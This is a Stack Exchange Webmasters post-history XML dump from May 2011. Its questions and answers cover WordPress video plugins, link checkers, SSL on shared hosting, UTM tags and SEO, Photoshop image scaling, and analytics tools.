  <row Id="32594" PostHistoryTypeId="2" PostId="14002" RevisionGUID="d10ec175-ccdf-4731-9348-f6e693532c1b" CreationDate="2011-05-18T07:54:21.647" UserId="7608" Text="A quick search on WP came up with some outdated plugins and some with no screenshots.&#xD;&#xA;&#xD;&#xA;I specifically need to embed playlists; interested in screenshots if you can share.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="32595" PostHistoryTypeId="1" PostId="14002" RevisionGUID="d10ec175-ccdf-4731-9348-f6e693532c1b" CreationDate="2011-05-18T07:54:21.647" UserId="7608" Text="Are there any WordPress plugins for embedding YouTube videos?" />
  <row Id="32596" PostHistoryTypeId="3" PostId="14002" RevisionGUID="d10ec175-ccdf-4731-9348-f6e693532c1b" CreationDate="2011-05-18T07:54:21.647" UserId="7608" Text="&lt;wordpress&gt;&lt;video&gt;&lt;plugin&gt;&lt;youtube&gt;" />
  <row Id="32597" PostHistoryTypeId="2" PostId="14003" RevisionGUID="16054c10-b044-43e4-95ee-f4176326eb28" CreationDate="2011-05-18T07:55:29.930" UserId="7198" Text="A few alternatives to pagemodo for you to check out:&#xD;&#xA;&#xD;&#xA; - &lt;a href=&quot;http://www.shortstacklab.com/&quot;&gt;Shortstack&lt;/a&gt;&#xD;&#xA; - &lt;a href=&quot;http://www.involver.com/&quot;&gt;Involver&lt;/a&gt;&#xD;&#xA; - &lt;a href=&quot;http://www.tabsite.com/&quot;&gt;Tabsite&lt;/a&gt;&#xD;&#xA; - &lt;a href=&quot;http://www.splashlabsocial.com/&quot;&gt;SplashLab Social&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Of these, I like &lt;a href=&quot;http://www.shortstacklab.com/&quot;&gt;Shortstack.&lt;/a&gt; Their pricing info is &lt;a href=&quot;http://www.shortstacklab.com/pricing/&quot;&gt;here.&lt;/a&gt; (I'm not affiliated with any of these services.)" />
  <row Id="32598" PostHistoryTypeId="2" PostId="14004" RevisionGUID="f8416d5d-b2b9-4f45-9f50-c9c5b7c7acf7" CreationDate="2011-05-18T08:37:43.120" UserId="494" Text="What about [&quot;Jetpack by WordPress.com&quot;][1]? It is supported by Automattic (WP creators) and one of its features is &quot;*Easily embedded media from popular sites like **YouTube**, Digg, and Vimeo.*&quot;&#xD;&#xA;&#xD;&#xA;Of course, it has many other features that some may consider as overhead.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/jetpack/" />
  <row Id="32599" PostHistoryTypeId="2" PostId="14005" RevisionGUID="c947d93e-e68a-429e-8bdd-2d9a280d2748" CreationDate="2011-05-18T08:44:38.850" UserId="4502" Text="There's an obvious test here(that you haven't said you did): have you actually *confirmed* that your manager isn't nuts by directly comparing areas of color between an original and one of your downscaled images?&#xD;&#xA;&#xD;&#xA;Even if there is, this is probably not directly a result of scaling, but rather something in the export options which come into play *after* the actual scaling within Photoshop, ie. the &quot;Convert to sRGB&quot; toggle, whether you're embedding a color profile, etc." />
  <row Id="32600" PostHistoryTypeId="2" PostId="14006" RevisionGUID="0e943cc7-0c84-4189-ae72-d6e1bd5984c5" CreationDate="2011-05-18T08:54:28.770" UserId="7198" Text="The &lt;a href=&quot;http://wordpress.org/extend/plugins/youtube-embed/&quot;&gt;YouTube embed&lt;/a&gt; plugin supports playlists, features a screenshot, and appears to be actively maintained. To embed a playlist, install the plugin and then add the following shortcode in the post editor:&#xD;&#xA;&#xD;&#xA;    [youtube_playlist width=200 height=100]playlist_id[/youtube_playlist]&#xD;&#xA;&#xD;&#xA;The playlist id is the string of numbers and letters after the &quot;&amp;list=&quot; in the YouTube URL for your playlist:&#xD;&#xA;&#xD;&#xA;    http://www.youtube.com/watch?v=video&amp;playnext=1&amp;list=PLAYLISTID&#xD;&#xA;&#xD;&#xA;You can also embed playlists without a plugin by pasting the YouTube embed code in your post editor's HTML area, &lt;a href=&quot;http://www.thewebtricks.com/embed-youtube-playlist-in-wordpress-post/&quot;&gt;like this.&lt;/a&gt;" />
  <row Id="32601" PostHistoryTypeId="5" PostId="14001" RevisionGUID="71245907-e63a-4576-ad0b-911e7eb41b62" CreationDate="2011-05-18T09:07:14.640" UserId="7198" Comment="added 1 characters in body" Text="There's no official cPanel API to access detailed stats data. There are, however, a few scripted workarounds:&#xD;&#xA;&#xD;&#xA;1. There's a reference to &lt;a href=&quot;http://www.phpdreams.com/blog-posts/easy-cpanel-stats.html&quot;&gt;scripting cPanel access to scrape AWStats output with PHP here.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;2. There are also GPL-licenced projects to access Apache/AWStats log data with PHP &lt;a href=&quot;http://www.phpkode.com/projects/item/php-awstats-access_log-exporter/&quot;&gt;here (via log exporter)&lt;/a&gt; and &lt;a href=&quot;http://www.phpkode.com/projects/item/awstats-access/&quot;&gt;here (via access panel).&lt;/a&gt; The log exporter looks like it might be the more useful of the two in your case.&#xD;&#xA;&#xD;&#xA;3. There's some PHP code to display Webalizer stats without logging in to cPanel &lt;a href=&quot;http://www.jek2k.com/wp/2009/02/20/php-to-retrieve-cpanel-webalizer-stats/&quot;&gt;here&lt;/a&gt; and a method to make Webalizer stats public with htaccess &lt;a href=&quot;http://anhblog.net/internet-marketing/making-your-cpanel-webalizer-statistics-available-without-cpanel-login/&quot;&gt;here.&lt;/a&gt; (You'd then have to scrape data from the Webalizer html table, which is less than ideal.)&#xD;&#xA;&#xD;&#xA;These solutions all feel a little hacked together, though. If you're building a custom control panel to display visitor stats, I'd suggest using Google Analytics with the official &lt;a href=&quot;http://analytics.blogspot.com/2009/04/attention-developers-google-analytics.html&quot;&gt;Analytics API,&lt;/a&gt; which provides read-only access to traffic data." />
  <row Id="32602" PostHistoryTypeId="25" PostId="13995" RevisionGUID="464789bc-5e62-45e0-95d1-ca0816db04f6" CreationDate="2011-05-18T09:12:17.870" Comment="http://twitter.com/#!/StackWebmasters/status/70778725171605504" />
  <row Id="32603" PostHistoryTypeId="2" PostId="14007" RevisionGUID="9384480b-60af-4d3f-aeaf-8497c3daa141" CreationDate="2011-05-18T09:19:07.627" UserId="7609" Text="There are two problems I have seen with this.The first is that it makes your website look like it is never done loading, because users normally only see the loading favicon animated and naturally associate any animation with the browser loading. The second problem is that animated favicons distract the user, just imagine having 8 tabs open and each one showing tiny animations. &#xD;&#xA;&#xD;&#xA;Generally animated favicons will drive your page's UX down, but simple and descriptive static ones are always useful. " />
  <row Id="32604" PostHistoryTypeId="2" PostId="14008" RevisionGUID="aae69867-0390-4c75-a811-94260f22006b" CreationDate="2011-05-18T09:23:01.607" UserId="1643" Text="I think if people want to find out this sort of thing they'd go to [Alexa][1] who track click data for people who install their toolbar.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alexa.com/" />
  <row Id="32605" PostHistoryTypeId="2" PostId="14009" RevisionGUID="cd6349c9-5b53-479d-9fc8-f25ed6160eff" CreationDate="2011-05-18T09:52:58.033" UserId="7085" Text="This question requires a clarification. Joomla itself does not allow &quot;comments&quot;. So you are certainly using a third party extension. So you'd better find out which one it is and rephrase your question accordingly." />
  <row Id="32606" PostHistoryTypeId="2" PostId="14010" RevisionGUID="38dccaa6-00b5-44e7-8567-c536c1606d2d" CreationDate="2011-05-18T10:03:59.007" UserId="7611" Text="I'm looking for an online service that will periodically (daily) check for broken links on my site (~100 pages). I see lots of tools that you can download and run, and indeed have used such tools in the past. But this seems like an obvious task for an online service: sign up, tell it my URL, then it would only email me if there are more broken links today than there were yesterday.&#xD;&#xA;&#xD;&#xA;My organisation's web site is not our major focus, and it's only a small part of my job. Hence the need to completely automate tasks where possible." />
  <row Id="32607" PostHistoryTypeId="1" PostId="14010" RevisionGUID="38dccaa6-00b5-44e7-8567-c536c1606d2d" CreationDate="2011-05-18T10:03:59.007" UserId="7611" Text="Online dead link alert service" />
  <row Id="32608" PostHistoryTypeId="3" PostId="14010" RevisionGUID="38dccaa6-00b5-44e7-8567-c536c1606d2d" CreationDate="2011-05-18T10:03:59.007" UserId="7611" Text="&lt;links&gt;&lt;automation&gt;&lt;service&gt;&lt;dead-links&gt;&lt;reporting&gt;" />
  <row Id="32609" PostHistoryTypeId="2" PostId="14011" RevisionGUID="8b26d3c6-60ab-4dae-a5cd-aa3a884ead1a" CreationDate="2011-05-18T10:04:43.117" UserId="1643" Text="This blog post looks like it has a lot of useful information for what you want:&#xD;&#xA;http://www.mnot.net/blog/2011/05/18/http_benchmark_rules&#xD;&#xA;&#xD;&#xA;It describes using [autobench][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xenoclast.org/autobench/" />
  <row Id="32610" PostHistoryTypeId="2" PostId="14012" RevisionGUID="92ccb872-fa00-4bfa-86bd-a0cfa7e779ba" CreationDate="2011-05-18T10:32:44.190" UserId="233" Text="In theory, most pages and sites rank based on their own merit. If the content is of good quality, relevant and other pages are linking to it, the page will appear higher in search results regardless of whether it's in Q&amp;A or forum format. It's very unlikely that Google does anything extra special to detect and parse Q&amp;A sites.&#xD;&#xA;&#xD;&#xA;However, there are a lot of subtleties at play here that mean the SEO for Q&amp;A sites tends to be better than forums:&#xD;&#xA;&#xD;&#xA;**Questions are popular searches.**  &#xD;&#xA;A massive proportion of search queries are looking for answers to some kind of question. Therefore Q&amp;A sites are tailored to this by default.&#xD;&#xA;&#xD;&#xA;**Friendly URLs built-in.**  &#xD;&#xA;Most forum software is not SEO friendly by default, using URLs like `showthread.php?t=12345` as opposed to `12345/here-is-my-question`.&#xD;&#xA;&#xD;&#xA;**Content is targeted.**  &#xD;&#xA;Forums typically have a lot of fluff and discussion, plus things like user signatures diluting the useful content. Q&amp;A is much simpler and gives direct access to the answer (at least, on [non-hyphen sites][1]).&#xD;&#xA;&#xD;&#xA;**More receptive to in-links.**  &#xD;&#xA;Following on from the above, if you had the choice of linking to a page with a question followed immediately by the best answer, or a page with 10+ posts and the answer buried in there somewhere, which would you choose?&#xD;&#xA;&#xD;&#xA;**Better navigation.**  &#xD;&#xA;Q&amp;A sites like the Stack Exchange network often have ranking of top questions/answers, so the structure of the site allows for easier discovery of the best content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/questions/12989/stackoverflow-taking-down-the-evil-experts-exchange" />
  <row Id="32612" PostHistoryTypeId="2" PostId="14014" RevisionGUID="241be52b-5a4d-4061-a31a-ff6b4d79c7cb" CreationDate="2011-05-18T11:35:21.290" UserId="7612" Text="The shared hosting company told me that if I buy an IP address then it will be applicable for the addon domains too. What does it mean? Then the SSL certificate won't work since there will be more than 2 domains in one IP (if I add an addon domain)? If the SSL certificate works with one IP where is hosted two different domains then why it does not work on a shared host?&#xD;&#xA;&#xD;&#xA;it means that all domain hosted by you will assign your IP. but you can restrict host to set IP only for specific domain. ssl certificate secured applied on domain but domain should be on dedicated ip.  some ssl certificate also can secure multiple domain liek geotrust multidomain ev. on shared hosting there are multiple domain on same hosting so your ip also hosting some other client's domain. so it is not secure thats why it will not work.&#xD;&#xA;&#xD;&#xA;[RapidSSL][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sslmatrix.com/ssl-brands/rapidssl" />
  <row Id="32613" PostHistoryTypeId="5" PostId="14014" RevisionGUID="6f589ce9-f0bf-499e-94b0-196f4c47f56b" CreationDate="2011-05-18T11:42:15.983" UserId="7612" Comment="deleted 3 characters in body" Text="The shared hosting company told me that if I buy an IP address then it will be applicable for the addon domains too. What does it mean? Then the SSL certificate won't work since there will be more than 2 domains in one IP (if I add an addon domain)? If the SSL certificate works with one IP where is hosted two different domains then why it does not work on a shared host? [RapidSSL][1]&#xD;&#xA;&#xD;&#xA;it means that all domain hosted by you will assign your IP. but you can restrict host to set IP only for specific domain. ssl certificate secured applied on domain but domain should be on dedicated ip.  some ssl certificate also can secure multiple domain liek geotrust multidomain ev. on shared hosting there are multiple domain on same hosting so your ip also hosting some other client's domain. so it is not secure thats why it will not work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sslmatrix.com/ssl-brands/rapidssl" />
  <row Id="32614" PostHistoryTypeId="2" PostId="14015" RevisionGUID="8a130f12-3b8f-4e25-a5e0-f5c1abbb7680" CreationDate="2011-05-18T12:03:20.337" UserId="7198" Text="Web apps that offer scheduled link checking with emailed test results:  &#xD;&#xA;&#xD;&#xA;- &lt;a href=&quot;http://www.nodeworks.com/&quot;&gt;Nodeworks&lt;/a&gt;  &#xD;&#xA;- &lt;a href=&quot;http://www.notagsnoglory.com/&quot;&gt;No tags, no glory!&lt;/a&gt;  &#xD;&#xA;- &lt;a href=&quot;http://www.linkalarm.com/&quot;&gt;LinkAlarm&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;All offer free trial versions or limited accounts with paid upgrade options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The W3C offers a &lt;a href=&quot;http://validator.w3.org/checklink&quot;&gt;free online link checker tool,&lt;/a&gt; the source code for which is &lt;a href=&quot;http://search.cpan.org/dist/W3C-LinkChecker/&quot;&gt;available here,&lt;/a&gt; but this isn't an automated service -- you'd have to run the link checker manually yourself for each page (or for each unique design template that your site uses)." />
  <row Id="32615" PostHistoryTypeId="25" PostId="14010" RevisionGUID="58134bae-97d5-473b-8146-b5f828c9d3f1" CreationDate="2011-05-18T12:12:18.777" Comment="http://twitter.com/#!/StackWebmasters/status/70824027614224384" />
  <row Id="32616" PostHistoryTypeId="2" PostId="14016" RevisionGUID="75474495-f24d-4695-814a-a49ac76503df" CreationDate="2011-05-18T12:25:38.053" UserId="7612" Text="There is no more difference between Buy &amp; Renew SSL so why not buy ssl certificate from other ssl authorities([RapidSSL][1]) or SSL Reseller there you can find ssl at normal price. It's  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sslmatrix.com/ssl-brands/rapidssl" />
  <row Id="32618" PostHistoryTypeId="17" PostId="14019" RevisionGUID="aa796791-3cd2-44c2-adb7-98c36ebea92f" CreationDate="2011-05-18T13:16:33.300" UserId="-1" Comment="from http://stackoverflow.com/questions/6043513/do-utm-tags-in-a-backlink-affect-seo/6043563#6043563" Text="" />
  <row Id="32619" PostHistoryTypeId="2" PostId="14019" RevisionGUID="cad00ea8-1a5a-44da-a644-055b4e4c3cca" CreationDate="2011-05-18T10:56:30.937" UserDisplayName="Parkyprg" Text="It will not affect SEO.&#xD;&#xA;&#xD;&#xA;But bear in mind to use only one type of link on all the pages. Otherwise you will end up with duplicate content (both URLs pointing to the same final page)." />
  <row Id="32620" PostHistoryTypeId="2" PostId="14018" RevisionGUID="1e20e828-853a-48d0-a5ff-6188f4e6976c" CreationDate="2011-05-18T10:52:29.217" UserDisplayName="Seo2nl" Text="Do UTM-tags (Urchin Traffic Monitor) in a backlink affect SEO? &#xD;&#xA;&#xD;&#xA;E.g.&#xD;&#xA;&#xD;&#xA;    1) http://www.domain.tld/&#xD;&#xA;    2) http://www.domain.tld/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=rss&#xD;&#xA;&#xD;&#xA;Both links are pointing from website A to the same webpage on website B (the one mentioned above), but look different. #2 isn't exactly a pretty URL.&#xD;&#xA;&#xD;&#xA;I don't think it will be affecting SEO, but am not sure. &#xD;&#xA;&#xD;&#xA;Can somebody confirm this?&#xD;&#xA;" />
  <row Id="32621" PostHistoryTypeId="1" PostId="14018" RevisionGUID="1e20e828-853a-48d0-a5ff-6188f4e6976c" CreationDate="2011-05-18T10:52:29.217" UserDisplayName="Seo2nl" Text="Do UTM-tags in a backlink affect SEO" />
  <row Id="32622" PostHistoryTypeId="3" PostId="14018" RevisionGUID="1e20e828-853a-48d0-a5ff-6188f4e6976c" CreationDate="2011-05-18T10:52:29.217" UserDisplayName="Seo2nl" Text="&lt;seo&gt;" />
  <row Id="32623" PostHistoryTypeId="17" PostId="14018" RevisionGUID="71000cac-ff6c-4b8a-aaa5-e912d8323451" CreationDate="2011-05-18T13:16:33.300" UserId="-1" Comment="from http://stackoverflow.com/questions/6043513/do-utm-tags-in-a-backlink-affect-seo" Text="" />
  <row Id="32625" PostHistoryTypeId="5" PostId="14014" RevisionGUID="bd624a50-0528-44cf-a6b4-932710589ebd" CreationDate="2011-05-18T13:31:45.633" UserId="288" Comment="removed quoting of question and potential spam link" Text="It means that all domain hosted by you will assign your IP. But you can restrict host to set IP only for specific domain. SSL certificate secured applied on domain but domain should be on dedicated IP. Some SSL certificate also can secure multiple domain like geotrust multidomain ev. On shared hosting there are multiple domain on same hosting so your IP also hosting some other client's domain. So it is not secure thats why it will not work." />
  <row Id="32626" PostHistoryTypeId="24" PostId="14014" RevisionGUID="bd624a50-0528-44cf-a6b4-932710589ebd" CreationDate="2011-05-18T13:31:45.633" Comment="Proposed by 288 approved by 1253 edit id of 305" />
  <row Id="32627" PostHistoryTypeId="5" PostId="14016" RevisionGUID="81ed3edc-6d37-4022-baae-4760e7b061cd" CreationDate="2011-05-18T13:32:17.537" UserId="1253" Comment="deleted 15 characters in body" Text="There is no more difference between Buy &amp; Renew SSL so why not buy ssl certificate from other ssl authorities or SSL Reseller there you can find ssl at normal price. It's  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sslmatrix.com/ssl-brands/rapidssl" />
  <row Id="32628" PostHistoryTypeId="5" PostId="13997" RevisionGUID="f295443c-8038-4827-8fb6-a60fd2ab5fad" CreationDate="2011-05-18T13:41:11.537" UserId="4786" Comment="removed signature per faq" Text="OK - my manager hit me with this one today, and I need a reality check. She asked me to color-correct an image because, &quot;images get darker in Photoshop when you make them smaller.&quot;&#xD;&#xA;&#xD;&#xA;I've never seen anything that would lead me to that conclusion - and I've been with Photoshop since version 3 (still having difficulty fully trusting multiple undo's, by the way). &#xD;&#xA;&#xD;&#xA;Is one of us crazy? And if it's me, in what way do you best compensate for the change? Levels?" />
  <row Id="32629" PostHistoryTypeId="24" PostId="13997" RevisionGUID="f295443c-8038-4827-8fb6-a60fd2ab5fad" CreationDate="2011-05-18T13:41:11.537" Comment="Proposed by 4786 approved by 1253 edit id of 304" />
  <row Id="32630" PostHistoryTypeId="2" PostId="14020" RevisionGUID="fb40a1b0-176d-4577-bcc9-1d313fd15865" CreationDate="2011-05-18T13:44:40.380" UserId="1253" Text="It *shouldn't* affect SEO as I would expect Google to recognize it's own product being used (Google Analytics). But to be on the safe side using canonical URLs to point to the non-query string version of the URL (http://www.domain.tld/) would be a smart idea." />
  <row Id="32632" PostHistoryTypeId="2" PostId="14021" RevisionGUID="853f293c-96e5-403c-a78f-c61cf7ac4f4a" CreationDate="2011-05-18T13:49:35.113" UserId="6783" Text="I just need to know if there are any alternatives to mousetrace - http://www.mousetrace.com" />
  <row Id="32633" PostHistoryTypeId="1" PostId="14021" RevisionGUID="853f293c-96e5-403c-a78f-c61cf7ac4f4a" CreationDate="2011-05-18T13:49:35.113" UserId="6783" Text="Any other services like MouseTrace? How useful is it?" />
  <row Id="32634" PostHistoryTypeId="3" PostId="14021" RevisionGUID="853f293c-96e5-403c-a78f-c61cf7ac4f4a" CreationDate="2011-05-18T13:49:35.113" UserId="6783" Text="&lt;analytics&gt;&lt;website-analytics-tools&gt;" />
  <row Id="32635" PostHistoryTypeId="2" PostId="14022" RevisionGUID="3daf730a-1210-4333-8f6f-c68807296057" CreationDate="2011-05-18T14:05:30.363" UserId="7616" Text="The quality of the image is paramount and/or when you're using an already low-quality image within Photoshop (assuming it's already been rasterized) it'll pixelate and yes, interpolate the best it can but altogether degrade in quality.&#xD;&#xA;&#xD;&#xA;But without an example to compare the two... even the a portion of the example to compare side-by-side it's gonna be like finding a needle in ... well you get the point." />
  <row Id="32636" PostHistoryTypeId="2" PostId="14023" RevisionGUID="b9ed8fcf-de05-4e0e-8d6c-efebb93e7a81" CreationDate="2011-05-18T14:06:49.770" UserId="7615" Text="As posted by others, an image will not technically become darker if you shrink it (with a good algorithm).&#xD;&#xA;&#xD;&#xA;However... our brain can play weird tricks on us with perception. A certain color may look &quot;greenish&quot; to us in a white surrounding, or totally different with another context. I can very well imagine that smaller images can -in certain cases- be *perceived* darker when made smaller. It seems very acceptable feedback to me if a user says:&#xD;&#xA;&#xD;&#xA;*&quot;Hmmm, now that the image is smaller, it feels much 'darker'. I think we should make it a little brighter.&quot;*" />
  <row Id="32637" PostHistoryTypeId="2" PostId="14024" RevisionGUID="6b5c825c-019f-443e-9d0b-3ad6827cf4ae" CreationDate="2011-05-18T14:13:32.703" UserId="6634" Text="The sitemap is only important if you want to be able to submit a list of all your pages to search engines and request that they get indexed. If having your content show up in search engines isn't important to you, or if everything on your site is immediately linked from twitter or other popular places on the web and found and indexed by search engines without a sitemap, then you won't suffer by not having one." />
  <row Id="32638" PostHistoryTypeId="2" PostId="14025" RevisionGUID="b682ffc9-6dfd-45e1-81c3-53fc3a1000bf" CreationDate="2011-05-18T14:28:28.167" UserId="7617" Text="Please be aware of W3C's Accesibility Guideline&#xD;&#xA;&#xD;&#xA;Guideline 2.3 asks you not to design content in a way that is known to cause seizures: &#xD;&#xA;&quot;Web pages do not contain anything that flashes more than three times in any one second period, or the flash is below the general flash and red flash thresholds. (Level A)&quot;&#xD;&#xA;&#xD;&#xA;see http://www.w3.org/TR/WCAG20/#seizure" />
  <row Id="32639" PostHistoryTypeId="2" PostId="14026" RevisionGUID="77a980a5-1847-49e5-8673-1b580ee7ded1" CreationDate="2011-05-18T14:42:37.063" UserId="7198" Text="&gt; Are there any creative or interesting usages of an animated favicon out there?&#xD;&#xA;&#xD;&#xA;There's a &lt;a href=&quot;http://www.p01.org/releases/DEFENDER_of_the_favicon/&quot;&gt;playable version of the Defender game&lt;/a&gt; that takes place entirely inside the favicon." />
  <row Id="32643" PostHistoryTypeId="5" PostId="13919" RevisionGUID="1fea979f-ae3b-47c2-bb59-51a08d3f5575" CreationDate="2011-05-18T14:54:56.590" UserId="6318" Comment="deleted 8 characters in body" Text="My process generally looks a bit like this:&#xD;&#xA;&#xD;&#xA;**1. Features**. With pencil and paper, lay out the distinct features / pages that will comprise the site. This gets at the broad stroke questions - are you building a simple info and graphic site for your mom? an ecommerce solution for a small business? a blog / gallery for a photographer friend? Your answer will determine a lot about the build path you will need to follow. This stage may also involve considerable discussion with a client or whomever is driving the boat (if it isn't you). &#xD;&#xA;&#xD;&#xA;**2. Wireframe**. With all necessary features laid out, work up a wireframe. Either on paper or with a tool like fireworks that will allow you to build in very simple navigational functionality. If you are working with a CMS like wordpress, how is your static content going to be handled? This might also be a good time to start thinking about file structure. If your project will need a custom database, now is also the time to start planning its design and implementation. This is a critical stage, as smart planning will save a lot of backtracking and reworking, should errors get made, or the project creep happens.  &#xD;&#xA;&#xD;&#xA;**3. Technology**. Once the planning stage is relatively worked out - pick your technologies. Are you doing straight html? a php cms in a lamp environment? .net mvc storefront? These questions may influence what hosting environment will be required, as well as costs to run the thing. If you are doing a storefront, security is a primary concern here (SSLs and PCI compliance, for example). Make sure you have a great testing environment (localhost, or otherwise) established.&#xD;&#xA;&#xD;&#xA;**4. Design / Layout**. When your feature list and wireframe is pretty well determined, you can start thinking about the design of the site. Knowing what is going to fill the pages is, obviously, a pre-requisite. I like to work in photoshop, and make heavy use of folders as an analogue to your markup structure. I go so far as to name them with the intended markup and css identifiers. Though its probably wise to do some free form drawing before you get really detailed. I tend to make use of &quot;layout&quot; files that I will pull elements from, and place into &quot;process&quot; files - files that i use to output production graphics. &#xD;&#xA;&#xD;&#xA;**5. Markup / CSS**. Once a pretty clean design is worked out (given that it will certainly flex a bit, as you go into production mode) you can start writing markup. I generally like to have a standard layout that will accommodate all content in the site. So - clean and flexible should be the key point here. Layout markup should be fairly complete before you start writing CSS, but I find they do a lot to inform eachother. You also will do a lot of SEO optimization in this stage (proper naming of images or A tags, meta info, doctypes etc...) Be thorough.&#xD;&#xA;&#xD;&#xA;**5.1 Theme Management**. If you are working with a CMS, and your design will be employed as a customized theme, find some tutorials on how exactly to do that for your intended application. This can be daunting, frankly ;) I will always build a static markup layout with fairly complete CSS prior to chopping it up into theme elements. &#xD;&#xA;&#xD;&#xA;**6. Behavior**. When your markup and css is looking pretty complete, and maybe your theme is in place, you can start developing behaviors (rollovers, etc.) Unobtrusive javascript is important, unless you are making use of features that absolutely require it (an ajax-heavy gallery, or data-driven flash content). The general rule is - if someone visits your site with javascript turned off, what are they going to see? I sometimes remove static elements and replace then with interactive versions at runtime. &#xD;&#xA;&#xD;&#xA;**7. Content**. Unless the design is reliant on content (images are sometimes content, for example) = I generally use placeholder text/graphics until the design and behavior is pretty well established. Avoid doing work more than once. If you are filling in product data, careful error checking and testing will be required. &#xD;&#xA;&#xD;&#xA;At that point, there always seems to be a period of reworking and fixing and polishing. But, essentially, its time to make it live. Then go have a snack.&#xD;&#xA;&#xD;&#xA;Hmmm. I guess thats more than just &quot;how to start&quot;. But maybe it helps, anyway. Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32645" PostHistoryTypeId="25" PostId="14021" RevisionGUID="9ca03c74-bd89-46c4-b304-fe9b7762ca7c" CreationDate="2011-05-18T15:12:19.253" Comment="http://twitter.com/#!/StackWebmasters/status/70869325778657280" />
  <row Id="32646" PostHistoryTypeId="2" PostId="14028" RevisionGUID="79f5c4d6-6eed-4fc6-8798-b291721ae6fd" CreationDate="2011-05-18T16:39:23.583" UserId="7548" Text="You could try looking at [flickr](http://flickr.com) (some people list their photos as redistributable) or [Getty images](http://www.gettyimages.com/)." />
  <row Id="32647" PostHistoryTypeId="2" PostId="14029" RevisionGUID="8d617050-0119-4c88-abf2-e3da707b3e42" CreationDate="2011-05-18T16:48:53.053" UserId="7198" Text="&lt;a href=&quot;http://www.clicktale.com/product/mouse_move_heatmaps&quot;&gt;Clicktale,&lt;/a&gt; &lt;a href=&quot;http://mouseflow.com/&quot;&gt;Mouseflow,&lt;/a&gt; &lt;a href=&quot;http://www.clickdensity.com/&quot;&gt;Clickdensity,&lt;/a&gt; &lt;a href=&quot;http://www.foreseeresults.com/products/session-replay.shtml&quot;&gt;Foresee,&lt;/a&gt; &lt;a href=&quot;http://www.crazyegg.com/&quot;&gt;CrazyEgg,&lt;/a&gt; and &lt;a href=&quot;http://silverbackapp.com/&quot;&gt;Silverback&lt;/a&gt; (Mac app) all offer heatmap and/or cursor tracking.&#xD;&#xA;&#xD;&#xA;**Heat maps** of the sort that CrazyEgg provide tend to be more useful than cursor tracking, particularly when split testing two alternative designs, because they provide an at-a-glance comparison of a design's effectiveness.&#xD;&#xA;&#xD;&#xA;**Cursor tracking** requires you watch video playback, so it's much more time consuming to collect useful data like this. It can be great for testing web apps and software interfaces among small sample groups of about 10 people, though. Any more than that and you tend to waste time watching footage to see the same results repeated over.&#xD;&#xA;&#xD;&#xA;In general, goal-based metrics are more useful than pretty pictures and fancy mouse capturing. &lt;a href=&quot;http://www.google.com/support/googleanalytics/bin/answer.py?hl=en&amp;answer=55515&quot;&gt;Google Analytics Goals&lt;/a&gt; allow you to define paths through a site and determine what percentage of your visitors follow that path to buy your product/sign up/download your stuff/subscribe to your blog/make an enquiry. Those are the important metrics worth setting up before you start playing with analytical eye candy." />
  <row Id="32648" PostHistoryTypeId="2" PostId="14030" RevisionGUID="bcad51d4-a31e-4fac-80eb-d3dfa59f98e3" CreationDate="2011-05-18T16:59:46.120" UserId="7198" Text="The &lt;a href=&quot;http://search.creativecommons.org/?q=flowers#&quot;&gt;Creative Commons Flickr search&lt;/a&gt; finds Flickr images licensed for commercial use, adaptation, and modification.&#xD;&#xA;&#xD;&#xA;Do check the licence terms for each image, though; you will often be required to credit the photographer by name or with a link." />
  <row Id="32649" PostHistoryTypeId="6" PostId="13777" RevisionGUID="d8928c6b-ad87-42be-a3c1-cdf8704442d0" CreationDate="2011-05-18T17:08:03.693" UserId="7198" Comment="edited tags" Text="&lt;images&gt;&lt;legal&gt;&lt;photo&gt;" />
  <row Id="32650" PostHistoryTypeId="2" PostId="14031" RevisionGUID="b6107d1b-d238-45d2-aa6d-f67c3985d999" CreationDate="2011-05-18T17:15:32.720" UserId="3512" Text="I'm considering re-designing my personal website to promote my web services in my local area.&#xD;&#xA;&#xD;&#xA;My issue is whether to do a one page website with a scroll-to navigation system. What effect does this have on SEO. As i understand it, you set stuff like h1's and meta description on specific page content. How does this work when all of your different content is on one page?" />
  <row Id="32651" PostHistoryTypeId="1" PostId="14031" RevisionGUID="b6107d1b-d238-45d2-aa6d-f67c3985d999" CreationDate="2011-05-18T17:15:32.720" UserId="3512" Text="One page portfolio - Effect on SEO" />
  <row Id="32652" PostHistoryTypeId="3" PostId="14031" RevisionGUID="b6107d1b-d238-45d2-aa6d-f67c3985d999" CreationDate="2011-05-18T17:15:32.720" UserId="3512" Text="&lt;seo&gt;" />
  <row Id="32653" PostHistoryTypeId="2" PostId="14032" RevisionGUID="57660957-99ae-4e62-8015-18dff31d02a4" CreationDate="2011-05-18T17:20:46.480" UserId="1253" Text="If you have only one web page then it will most likely cover several topics (e.g. each web service offered) and thus not be focused on any one topic. This will make it more difficult to get that page to rank well for one specific topic (you only get one page title, one h1, etc). &#xD;&#xA;&#xD;&#xA;If you break it down into multiple pages you will be able to focus each page on a specific topic. Additionally, interlinking your pages will also give you a (very) small boost as you will have the advantage of anchor text and PR transfer." />
  <row Id="32654" PostHistoryTypeId="2" PostId="14033" RevisionGUID="d8ff8bd6-1d72-4ecb-b953-ef48cb6e1afa" CreationDate="2011-05-18T17:25:45.520" UserId="7618" Text="The most important parts are the links you get to your website and the way you write your content. The more links you get on your website the higher your page will be ranked.&#xD;&#xA;In your content you should focus on keywords and set them into more important tags like h1 and strong. Then they will be more important for the search engines." />
